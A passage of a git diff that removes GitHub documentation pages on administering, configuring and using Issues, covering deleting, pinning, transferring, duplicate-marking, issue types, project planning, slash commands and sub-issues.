[AUTOTITLE](/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -Collaborators do not receive a notification when issues are deleted. When visiting the URL of a deleted issue, collaborators will see a message stating that the web page can't be found (but they can use the API to determine that it was deleted). People with admin or owner permissions in the repository will additionally see the username of the person who deleted the issue and when it was deleted. - -1. Navigate to the issue you want to delete. -1. On the right side bar, under "Notifications", click **{% octicon "trash" aria-hidden="true" %} Delete issue**. - - ![Screenshot of the issue sidebar. A trash can icon and "Delete issue" are outlined in dark orange.](/assets/images/help/issues/delete-issue.png) -1. To confirm deletion, click **Delete this issue**. - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/index.md b/content/issues/tracking-your-work-with-issues/administering-issues/index.md deleted file mode 100644 index d0d1614bf148..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Administering issues -intro: 'Learn about performing administrative tasks on issues in your repositories.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues -children: - - /pinning-an-issue-to-your-repository - - /marking-issues-or-pull-requests-as-a-duplicate - - /transferring-an-issue-to-another-repository - - /closing-an-issue - - /deleting-an-issue ---- diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/marking-issues-or-pull-requests-as-a-duplicate.md b/content/issues/tracking-your-work-with-issues/administering-issues/marking-issues-or-pull-requests-as-a-duplicate.md deleted file mode 100644 index 1428a6ef4a7a..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/marking-issues-or-pull-requests-as-a-duplicate.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Marking issues or pull requests as a duplicate -intro: Mark an issue or pull request as a duplicate to track similar issues or pull requests together and remove unnecessary burden for both maintainers and collaborators. -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-duplicate-issues-and-pull-requests - - /articles/about-duplicate-issues-and-pull-requests - - /github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests - - /issues/tracking-your-work-with-issues/managing-issues/marking-issues-or-pull-requests-as-a-duplicate - - /issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -For a "marked as duplicate" timeline event to appear, the user who creates the duplicate reference comment must have write access to the repository where they create the comment. - -## Marking duplicates - -To mark an issue or pull request as a duplicate, type "Duplicate of" followed by an issue or pull request number in the body of a new comment. - -You can also use the {% data variables.product.company_short %}-provided saved replies, "Duplicate issue" or "Duplicate pull request." For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/about-saved-replies). - -![Screenshot of an issue timeline, with a comment by octocat, "Duplicate of #97", and a timeline event "octocat marked this as a duplicate of #97."](/assets/images/help/issues/duplicate-issue-syntax.png) - -## Unmarking duplicates - -You can unmark duplicate issues and pull requests by clicking **Undo** in the timeline. This will add a new timeline event, indicating that the issue or pull request was unmarked. - -![Screenshot of an issue timeline. To the right of a timeline event where the issue was marked as a duplicate, an "Undo" button is outlined in orange.](/assets/images/help/issues/unmark-duplicate-issue-button.png) diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/pinning-an-issue-to-your-repository.md b/content/issues/tracking-your-work-with-issues/administering-issues/pinning-an-issue-to-your-repository.md deleted file mode 100644 index 429445a07e1e..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/pinning-an-issue-to-your-repository.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Pinning an issue to your repository -intro: You can pin up to three important issues above the issues list in your repository. -permissions: 'People with write access to a repository can pin issue in the repository. {% data reusables.enterprise-accounts.emu-permission-repo %}' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/pinning-an-issue-to-your-repository - - /articles/pinning-an-issue-to-your-repository - - /github/managing-your-work-on-github/pinning-an-issue-to-your-repository - - /issues/tracking-your-work-with-issues/managing-issues/pinning-an-issue-to-your-repository - - /issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Pin an issue ---- - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue you'd like to pin. -1. In the right sidebar, click **Pin issue**. diff --git a/content/issues/tracking-your-work-with-issues/administering-issues/transferring-an-issue-to-another-repository.md b/content/issues/tracking-your-work-with-issues/administering-issues/transferring-an-issue-to-another-repository.md deleted file mode 100644 index d25064b15229..000000000000 --- a/content/issues/tracking-your-work-with-issues/administering-issues/transferring-an-issue-to-another-repository.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Transferring an issue to another repository -intro: 'To move an issue to a better fitting repository, you can transfer open issues to other repositories.' -redirect_from: - - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository - - /articles/transferring-an-issue-to-another-repository - - /github/managing-your-work-on-github/transferring-an-issue-to-another-repository - - /issues/tracking-your-work-with-issues/managing-issues/transferring-an-issue-to-another-repository - - /issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Transfer an issue ---- -To transfer an open issue to another repository, you must have write access to the repository the issue is in and the repository you're transferring the issue to. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -> [!NOTE] -> You can only transfer issues between repositories owned by the same user or organization account. A private repository issue cannot be transferred to a public repository. - -When you transfer an issue, comments and assignees are retained. Labels and milestones are also retained if they're present in the target repository, with labels matching by name and milestones matching by both name and due date. {% ifversion projects-v1 %}This issue will stay on any user-owned or organization-wide {% data variables.projects.projects_v1_boards %} and be removed from any repository {% data variables.projects.projects_v1_boards %}. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards).{% endif %} - -People or teams who are mentioned in the issue will receive a notification letting them know that the issue has been transferred to a new repository. The original URL redirects to the new issue's URL. People who don't have read permissions in the new repository will see a banner letting them know that the issue has been transferred to a new repository that they can't access. - -## Transferring an open issue to another repository - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue you'd like to transfer. -1. In the right sidebar, click **Transfer issue**. -1. Select the **Choose a repository** dropdown menu, and click the repository you want to transfer the issue to. -1. Click **Transfer issue**. - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To transfer an issue, use the `gh issue transfer` subcommand. Replace the `issue` parameter with the number or URL of the issue. Replace the `{% ifversion ghes %}hostname/{% endif %}owner/repo` parameter with the {% ifversion ghes %}URL{% else %}name{% endif %} of the repository that you want to transfer the issue to, such as `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`. - -```shell -gh issue transfer ISSUE {% ifversion ghes %}HOSTNAME/{% endif %}OWNER/REPO -``` - -{% endcli %} - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues) diff --git a/content/issues/tracking-your-work-with-issues/configuring-issues/index.md b/content/issues/tracking-your-work-with-issues/configuring-issues/index.md deleted file mode 100644 index 9eb6f25af42a..000000000000 --- a/content/issues/tracking-your-work-with-issues/configuring-issues/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Configuring issues -intro: 'Learn how to configure your repository to start using issues.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues -children: - - /quickstart - - /planning-and-tracking-work-for-your-team-or-project - - /managing-issue-types-in-an-organization ---- diff --git a/content/issues/tracking-your-work-with-issues/configuring-issues/managing-issue-types-in-an-organization.md b/content/issues/tracking-your-work-with-issues/configuring-issues/managing-issue-types-in-an-organization.md deleted file mode 100644 index 480e58786bdb..000000000000 --- a/content/issues/tracking-your-work-with-issues/configuring-issues/managing-issue-types-in-an-organization.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Managing issue types in an organization -intro: 'Learn about issue types and how to manage them in your organization.' -versions: - feature: 'issue-types' -type: overview -topics: - - Project management -shortTitle: 'Managing issue types' -permissions: 'Organization owners can modify issue types.' ---- - -{% data reusables.issues.release-stage %} - -You can use issue types to classify and manage different types of issues across your organization. You can create up to {% data variables.projects.issue_type_limit %} issue types that your organization members can apply to issues, making it easier for you and your members to find issues and plan work. - -Default issue types are included in every organization, but these can edited, disabled, or deleted. The default types are task, bug, and feature. - -When you add an issue type to an issue, the type will be shown on any lists of issues and in the issues themselves. You can filter and search by issue type and use issue types when creating filters and views in your projects. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/filtering-and-searching-issues-and-pull-requests#filtering-by-issue-type) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects#filtering-by-issue-type). - -## Adding an issue type - -{% data reusables.issues.access-issue-types-settings %} -1. On the right side of the page, click **Create new type**. -1. Under "Type name", type the name of your new issue type. -1. Under "Description", to help other people understand the purpose of your new issue type, type a description. -1. Under "Color", click on the color you would like for the new issue type. -1. Click **Create**. - -## Making changes to issue types - -You can change the name, description, and color of your issue types. - -You can also choose to disable or delete an issue type. If you disable an issue type, it will not be shown and it won't be possible to set an issue to that type, but if you later decide to enable the issue type, it will be displayed again on any issues previously set to the issue type. If you delete an issue type, it is permanently removed. - -{% data reusables.issues.access-issue-types-settings %} -1. To the right of the issue type you want to make changes to, click {% octicon "kebab-horizontal" aria-label="open type options" %}. - - ![Screenshot of the issue types settings page for an organization. The "open type options" button is highlighted with an orange rectangle.](/assets/images/help/issues/issue-type-edit.png) - -1. In the menu, click **Edit** and make your changes. - * To make changes to the type name, description, or color, click **Save**. - * To disable or delete the issue type, in the "Danger zone", click **Disable** or **Delete** and follow the prompts. diff --git a/content/issues/tracking-your-work-with-issues/configuring-issues/planning-and-tracking-work-for-your-team-or-project.md b/content/issues/tracking-your-work-with-issues/configuring-issues/planning-and-tracking-work-for-your-team-or-project.md deleted file mode 100644 index 75797d201dcd..000000000000 --- a/content/issues/tracking-your-work-with-issues/configuring-issues/planning-and-tracking-work-for-your-team-or-project.md +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Planning and tracking work for your team or project -intro: 'The essentials for using {% data variables.product.prodname_dotcom %}''s planning and tracking tools to manage work on a team or project.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Project management - - Projects -redirect_from: - - /issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project ---- -## Introduction - -You can use {% data variables.product.prodname_dotcom %} repositories, issues, projects, and other tools to plan and track your work, whether working on an individual project or cross-functional team. - -In this guide, you will learn how to create and set up a repository for collaborating with a group of people, create issue templates and forms, open issues and use task lists to break down work, and establish a {% data variables.projects.projects_v1_board %} for organizing and tracking issues. - -## Creating a repository - -When starting a new project, initiative, or feature, the first step is to create a repository. Repositories contain all of your project's files and give you a place to collaborate with others and manage your work. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -You can set up repositories for different purposes based on your needs. The following are some common use cases: - -* **Product repositories:** Larger organizations that track their work and goals around specific products may have one or more repositories containing the code and other files. These repositories can also be used for documentation, reporting on product health or future plans for the product. -* **Project repositories:** You can create a repository for an individual project you are working on, or for a project you are collaborating on with others. For an organization that tracks work for short-lived initiatives or projects, such as a consulting firm, there is a need to report on the health of a project and move people between different projects based on skills and needs. Code for the project is often contained in a single repository. -* **Team repositories:** For an organization that groups people into teams, and brings projects to them, such as a dev tools team, code may be scattered across many repositories for the different work they need to track. In this case it may be helpful to have a team-specific repository as one place to track all the work the team is involved in. -* **Personal repositories:** You can create a personal repository to track all your work in one place, plan future tasks, or even add notes or information you want to save. You can also add collaborators if you want to share this information with others. - -You can create multiple, separate repositories if you want different access permissions for the source code and for tracking issues and discussions. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-an-issues-only-repository). - -For the following examples in this guide, we will be using an example repository called Project Octocat. - -## Communicating repository information - -You can create a README.md file for your repository to introduce your team or project and communicate important information about it. A README is often the first item a visitor to your repository will see, so you can also provide information on how users or contributors can get started with the project and how to contact the team. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -You can also create a CONTRIBUTING.md file specifically to contain guidelines on how users or contributors can contribute and interact with the team or project, such as how to open a bug fix issue or request an improvement. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). - -### README example - -We can create a README.md to introduce our new project, Project Octocat. - -![Screenshot of the README.md file for the octo-org/project-octocat repository, with details about the project and how to contact the team.](/assets/images/help/issues/quickstart-creating-readme.png) - -## Creating issue templates - -You can use issues to track the different types of work that your cross-functional team or project covers, as well as gather information from those outside of your project. The following are a few common use cases for issues. - -* Release tracking: You can use an issue to track the progress for a release or the steps to complete the day of a launch. -* Large initiatives: You can use an issue to track progress on a large initiative or project, which is then linked to the smaller issues. -* Feature requests: Your team or users can create issues to request an improvement to your product or project. -* Bugs: Your team or users can create issues to report a bug. - -Depending on the type of repository and project you are working on, you may prioritize certain types of issues over others. Once you have identified the most common issue types for your team, you can create issue templates and forms for your repository. Issue templates and forms allow you to create a standardized list of templates that a contributor can choose from when they open an issue in your repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository). - -### Issue template example - -Below we are creating an issue template for reporting a bug in Project Octocat. - -![Screenshot of the form to create a new issue template. The fields are completed to create a template named "Bug report for Project Octocat."](/assets/images/help/issues/quickstart-creating-issue-template.png) - -Now that we created the bug report issue template, you are able to select it when creating a new issue in Project Octocat. - -![Screenshot of the "New issue" page for octo-org/project-octocat, with the option to use the "Bug report for Project Octocat" template.](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png) - -## Opening issues and using task lists to track work - -You can organize and track your work by creating issues. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -### Issue example - -Here is an example of an issue created for a large initiative, front-end work, in Project Octocat. - -![Screenshot of an issue called "Front-end work for Project Octocat." The issue body includes a list of tasks to complete.](/assets/images/help/issues/quickstart-create-large-initiative-issue.png) - -### Task list example - -You can use task lists to break larger issues down into smaller tasks and to track issues as part of a larger goal. {% ifversion fpt or ghec %} Task lists have additional functionality when added to the body of an issue. You can see the number of tasks completed out of the total at the top of the issue, and if someone closes an issue linked in the task list, the checkbox will automatically be marked as complete.{% endif %} For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -Below we have added a task list to our Project Octocat issue, breaking it down into smaller issues. - -![Screenshot of an issue called "Front-end work for Project Octocat." The issue body contains a task list, with a checkbox preceding each issue link.](/assets/images/help/issues/quickstart-add-task-list-to-issue.png) - -{% ifversion sub-issues %} - -### Breaking down your work with sub-issues - -{% data reusables.issues.release-stage %} - -{% data reusables.issues.about-sub-issues %} See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues) and [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/browsing-sub-issues). - -{% endif %} - -{% ifversion copilot %} - -## Understanding new issues - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -When working on an unfamiliar or complex issue, {% data variables.product.prodname_copilot %} can help you quickly understand the context, history, and key information, so you can get started faster and with more confidence. - -### Reviewing the issue - -1. Navigate to an issue on {% data variables.product.github %}. - -{% data reusables.copilot.open-copilot %} - -1. At the bottom of the {% data variables.product.prodname_copilot_short %} chat panel, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and press Enter. For example, you could enter: - - * `Summarize the main points of this issue` - * `What’s the goal of this issue?` - -{% data variables.product.prodname_copilot_short %}'s summary will help you capture the purpose and scope of the work. - -### Understanding the history and comments - -Issues often contain a history of discussions and decisions that can provide important context. You can use {% data variables.product.prodname_copilot_short %} to summarize these conversations to identify key points, such as proposed solutions or unanswered questions. For example, you might ask {% data variables.product.prodname_copilot_short %} to summarize recent comments or highlight decisions that have already been made. This helps you focus on what’s most relevant and ensures your contributions are aligned with the team’s priorities. - -### Clarifying technical terms - -Issues often mention technical terms, code, or files that might not be immediately clear. You can use {% data variables.product.prodname_copilot_short %} to get explanations or context for these references. For example, you can ask about the purpose of a file or function, or the meaning of a specific term mentioned in the issue. This helps you understand the details without spending extra time searching through documentation or code. - -### Getting suggestions for next steps - -Once you understand the context of an issue, {% data variables.product.prodname_copilot_short %} can help you figure out how to move forward. You can ask for suggestions on how to approach the work, like fixing a bug or implementing a new feature. For example, you might ask, “What’s the best way to resolve this issue?” or “How can I start addressing this problem?” {% data variables.product.prodname_copilot_short %}'s suggestions can provide useful starting points, helping you plan your work more effectively. - -{% endif %} - -## Making decisions as a team - -You can use issues and discussions to communicate and make decisions as a team on planned improvements or priorities for your project. Issues are useful when you create them for discussion of specific details, such as bug or performance reports, planning for the next quarter, or design for a new initiative. Discussions are useful for open-ended brainstorming or feedback, outside the codebase and across repositories. For more information, see [AUTOTITLE](/get-started/using-github/communicating-on-github#which-discussion-tool-should-i-use). - -As a team, you can also communicate updates on day-to-day tasks within issues so that everyone knows the status of work. For example, you can create an issue for a large feature that multiple people are working on, and each team member can add updates with their status or open questions in that issue. - -### Issue example with project collaborators - -Here is an example of project collaborators giving a status update on their work on the Project Octocat issue. - -![Screenshot of an issue called "Front-end work for Project Octocat." Comments from both @codercat and @octocat provide status updates on the work.](/assets/images/help/issues/quickstart-collaborating-on-issue.png) - -## Using labels to highlight project goals and status - -You can create labels for a repository to categorize issues, pull requests, and discussions. {% data variables.product.prodname_dotcom %} also provides default labels for every new repository that you can edit or delete. Labels are useful for keeping track of project goals, bugs, types of work, and the status of an issue. - -For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label). - -Once you have created a label in a repository, you can apply it on any issue, pull request or discussion in the repository. You can then filter issues and pull requests by label to find all associated work. For example, find all the front end bugs in your project by filtering for issues with the `front-end` and `bug` labels. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). - -### Label example - -Below is an example of a `front-end` label that we created and added to the issue. - -![Screenshot of an issue called "Front-end work for Project Octocat." In the right sidebar, in the "Labels" section, the "front-end" label is applied.](/assets/images/help/issues/quickstart-add-label-to-issue.png) - -## Adding issues to a {% data variables.projects.projects_v2 %} - -You can use {% data variables.projects.projects_v2 %} on {% data variables.product.prodname_dotcom %} to plan and track the work for your team. A project is a customizable spreadsheet that integrates with your issues and pull requests on {% data variables.product.prodname_dotcom %}, automatically staying up-to-date with the information on {% data variables.product.prodname_dotcom %}. You can customize the layout by filtering, sorting, and grouping your issues and PRs. To get started with projects, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects). - -### Project example - -Here is the table layout of an example project, populated with the Project Octocat issues we have created. - -![Screenshot of the table view of a project, containing a list of issues, with columns for "Title," "Assignees," "Status," "Labels," and "Notes."](/assets/images/help/issues/quickstart-projects-table-view.png) - -We can also view the same project as a board. - -![Screenshot of the board view of a project, with issues organized into columns for "No Status," "Todo," "In Progress," and "Done."](/assets/images/help/issues/quickstart-projects-board-view.png) - -{% ifversion projects-v1 %} - -You can also use the existing {% data variables.product.prodname_projects_v1 %} on {% data variables.product.prodname_dotcom %} to plan and track your or your team's work. {% data variables.projects.projects_v1_boards_caps %} are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can create {% data variables.projects.projects_v1_boards %} for feature work, high-level roadmaps, or even release checklists. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). - -### {% data variables.projects.projects_v1_board_caps %} example - -Below is a {% data variables.projects.projects_v1_board %} for our example Project Octocat with the issue we created, and the smaller issues we broke it down into, added to it. - -![Screenshot of a {% data variables.projects.projects_v1_board %} called "Project Octocat Board," with issues organized into columns for "To do", "In progress," and "Done."](/assets/images/help/issues/quickstart-project-board.png) - -{% endif %} - -## Next steps - -You have now learned about the tools {% data variables.product.prodname_dotcom %} offers for planning and tracking your work, and made a start in setting up your cross-functional team or project repository! Here are some helpful resources for further customizing your repository and organizing your work. - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories) for learning more about creating repositories -* [AUTOTITLE](/issues/tracking-your-work-with-issues) for learning more about different ways to create and manage issues -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) for learning more about issue templates -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) for learning how to create, edit and delete labels -* [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists) for learning more about task lists -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) for learning more about projects -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view) for learning how to customize views for projects -{% ifversion projects-v1 %}- [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) for learning how to manage {% data variables.projects.projects_v1_boards %}{% endif %} diff --git a/content/issues/tracking-your-work-with-issues/configuring-issues/quickstart.md b/content/issues/tracking-your-work-with-issues/configuring-issues/quickstart.md deleted file mode 100644 index 731b95c785e5..000000000000 --- a/content/issues/tracking-your-work-with-issues/configuring-issues/quickstart.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Quickstart for GitHub Issues -intro: 'Follow this brief interactive guide to learn about {% data variables.product.prodname_github_issues %}.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: quick_start -topics: - - Issues - - Project management -redirect_from: - - /issues/tracking-your-work-with-issues/quickstart ---- - -## Introduction - -This guide demonstrates how to use {% data variables.product.prodname_github_issues %} to plan and track a piece of work. In this guide, you will create a new issue and add a task list to track sub-tasks. You'll also learn how to add labels, milestones, assignees, and projects to communicate metadata about your issue. - -## Prerequisites - -To create an issue, you need a repository. You can use an existing repository that you have write access to, or you can create a new repository. {% data reusables.enterprise-accounts.emu-permission-repo %} The repository must have issues enabled. For more information about creating a repository, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). For more information about enabling issues if they are disabled in your repository, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues). - -## Opening a blank issue - -First, create an issue. There are multiple ways to create an issue; you can choose the most convenient method for your workflow. This example will use the {% data variables.product.prodname_dotcom %} UI. For more information about other ways to create an issue, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issues %} -{% data reusables.repositories.new_issue %} -1. In this example, we will start with a blank issue. Your repository may use issue templates{% ifversion fpt or ghec %} and issue forms{% endif %} to encourage contributors to provide specific information. If your repository uses issue templates, click **Open a blank issue**. - -## Filling in information - -Give your issue a descriptive title. The title should convey at a glance what the issue is about. - -Add a description that explains the purpose of the issue, including any details that might help resolve the issue. For example, if this is a bug report, describe the steps to reproduce the bug, the expected result, and the actual result. - -You can use markdown to add formatting, links, emojis, and more. For more information, see [AUTOTITLE](/get-started/writing-on-github). - -![Screenshot of the new issue form, with a title and body filled in.](/assets/images/help/issues/issue-title-body.png) - -## Adding a task list - -It can be helpful to break large issues into smaller tasks, or to track multiple related issues in a single larger issue. Add a task list to your issue by prefacing list items with `[ ]`. Reference existing issues by issue number or URL. You can use plain text to track tasks that don't have a corresponding issue and convert them to issues later. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -![Screenshot of the new issue form, with the title and body filled in. The body includes the Markdown for a task list.](/assets/images/help/issues/issue-task-list-raw.png) - -## Adding labels - -Add a label to categorize your issue. For example, you might use a `bug` label and a `good first issue` label to indicate that an issue is a bug that a first-time contributor could pick up. Users can filter issues by label to find all issues that have a specific label. - -You can use the default labels, or you can create a new label. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels). - -![Screenshot of the new issue form. In the right sidebar, the "Labels" section is outlined in dark orange.](/assets/images/help/issues/issue-with-label.png) - -## Adding milestones - -You can add a milestone to track the issue as part of a date based target. A milestone will show the progress of the issues as the target date approaches. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/about-milestones). - -![Screenshot of the new issue form. In the right sidebar, the "Milestone" section is outlined in dark orange.](/assets/images/help/issues/issue-milestone.png) - -## Assigning the issue - -To communicate responsibility, you can assign the issue to a member of your organization. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users). - -![Screenshot of the new issue form. In the right sidebar, the "Assignees" section is outlined in a dark orange.](/assets/images/help/issues/issue-assignees.png) - -## Adding the issue to a project - -You can add the issue to an existing project and populate metadata for the project. For more information about projects, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -![Screenshot of the new issue form. In the right sidebar, the "Projects" section is outlined in dark orange.](/assets/images/help/issues/issue-project.png) - -## Submitting your issue - -Click **Submit new issue** to create your issue. You can edit any of the above fields after creating the issue. Your issue has a unique URL that you can share with team members, or reference in other issues or pull requests. - -## Communicating - -After your issue is created, continue the conversation by adding comments to the issue. You can @mention collaborators or teams to draw their attention to a comment. To link related issues in the same repository, you can type `#` followed by part of the issue title and then clicking the issue that you want to link. For more information, see [AUTOTITLE](/get-started/writing-on-github). - -![Screenshot of an issue comment. The header says "octocat commented now" and the body says "@hubot Do we also need to update the rocket logic?"](/assets/images/help/issues/issue-comment.png) - -## Next steps - -You can use issues for a wide range of purposes. For example: - -* Tracking ideas -* Collecting feedback -* Planning tasks -* Reporting bugs - -{% ifversion sub-issues %} - -To break your issue down into more manageable tasks, you can add multiple levels of sub-issues. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues). - -{% endif %} - -Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_issues %}: - -* To learn more about issues, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). -* To learn more about how projects can help you with planning and tracking, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). -* To learn more about using issue templates{% ifversion fpt or ghec %} and issue forms{% endif %} to encourage contributors to provide specific information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). diff --git a/content/issues/tracking-your-work-with-issues/index.md b/content/issues/tracking-your-work-with-issues/index.md deleted file mode 100644 index 9029bc314541..000000000000 --- a/content/issues/tracking-your-work-with-issues/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Tracking your work with issues -shortTitle: Issues -intro: 'Use {% data variables.product.prodname_github_issues %} to track ideas and work on {% data variables.product.prodname_dotcom %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Issues -children: - - /about-issues - - /configuring-issues - - /using-issues - - /administering-issues -redirect_from: - - /issues/tracking-your-work-with-issues/creating-issues - - /issues/tracking-your-work-with-issues/managing-issues ---- diff --git a/content/issues/tracking-your-work-with-issues/using-issues/about-slash-commands.md b/content/issues/tracking-your-work-with-issues/using-issues/about-slash-commands.md deleted file mode 100644 index 5fa65792a88f..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/about-slash-commands.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: About slash commands -intro: 'Slash commands can save you time by reducing the typing required to create complex Markdown.' -versions: - feature: slash-commands -redirect_from: - - /early-access/issues/about-slash-commands - - /issues/tracking-your-work-with-issues/about-slash-commands ---- - -> [!NOTE] -> Slash commands are currently in {% data variables.release-phases.public_preview %} and subject to change. - -## About slash commands - -Slash commands make it easier to type more complex Markdown, such as tables, tasklists, and code blocks. - -You can use slash commands in any description or comment field in issues, pull requests, or discussions where that slash command is supported. - -## Using slash commands - -You can use slash commands by typing the command in a comment field, then following the prompts. To insert complex Markdown into your comment, type one of the following commands. - -| Command | Description | -| ------- | ----------- | -| `/code` | Inserts a Markdown code block. You choose the language. -| `/details` | Inserts a collapsible detail area. You choose the title and content. -| `/saved-replies` | Inserts a saved reply. You choose from the saved replies for your user account. If you add `%cursor%` to your saved reply, the slash command will place the cursor in that location. -| `/table` | Inserts a Markdown table. You choose the number of columns and rows. -| `/template` | Shows all of the templates in the repository. You choose the template to insert. This slash command will work for issue templates and a pull request template. diff --git a/content/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues.md b/content/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues.md deleted file mode 100644 index 1a56bd890922..000000000000 --- a/content/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Adding sub-issues -intro: 'Learn about using sub-issues to break down your work into tasks.' -versions: - feature: 'sub-issues' -type: overview -topics: - - Project management -permissions: 'People with at least triage permissions for a repository can add sub-issues.' -redirect_from: - - /early-access/issues/about-tasklists - - /issues/tracking-your-work-with-issues/about-tasklists - - /issues/managing-your-tasks-with-tasklists/about-tasklists - - /issues/managing-your-tasks-with-tasklists/creating-a-tasklist - - /issues/managing-your-tasks-with-tasklists - - /issues/managing-your-tasks-with-tasklists/managing-tasks-in-a-tasklist - - /issues/managing-your-tasks-with-tasklists/quickstart-for-tasklists - - /issues/managing-your-tasks-with-tasklists/using-projects-and-tasklists ---- - -You can add sub-issues to an issue to break down larger pieces of work into tasks. Your sub-issues show their relationship to the parent issue allowing you to track your work across {% data variables.product.github %}. Parent 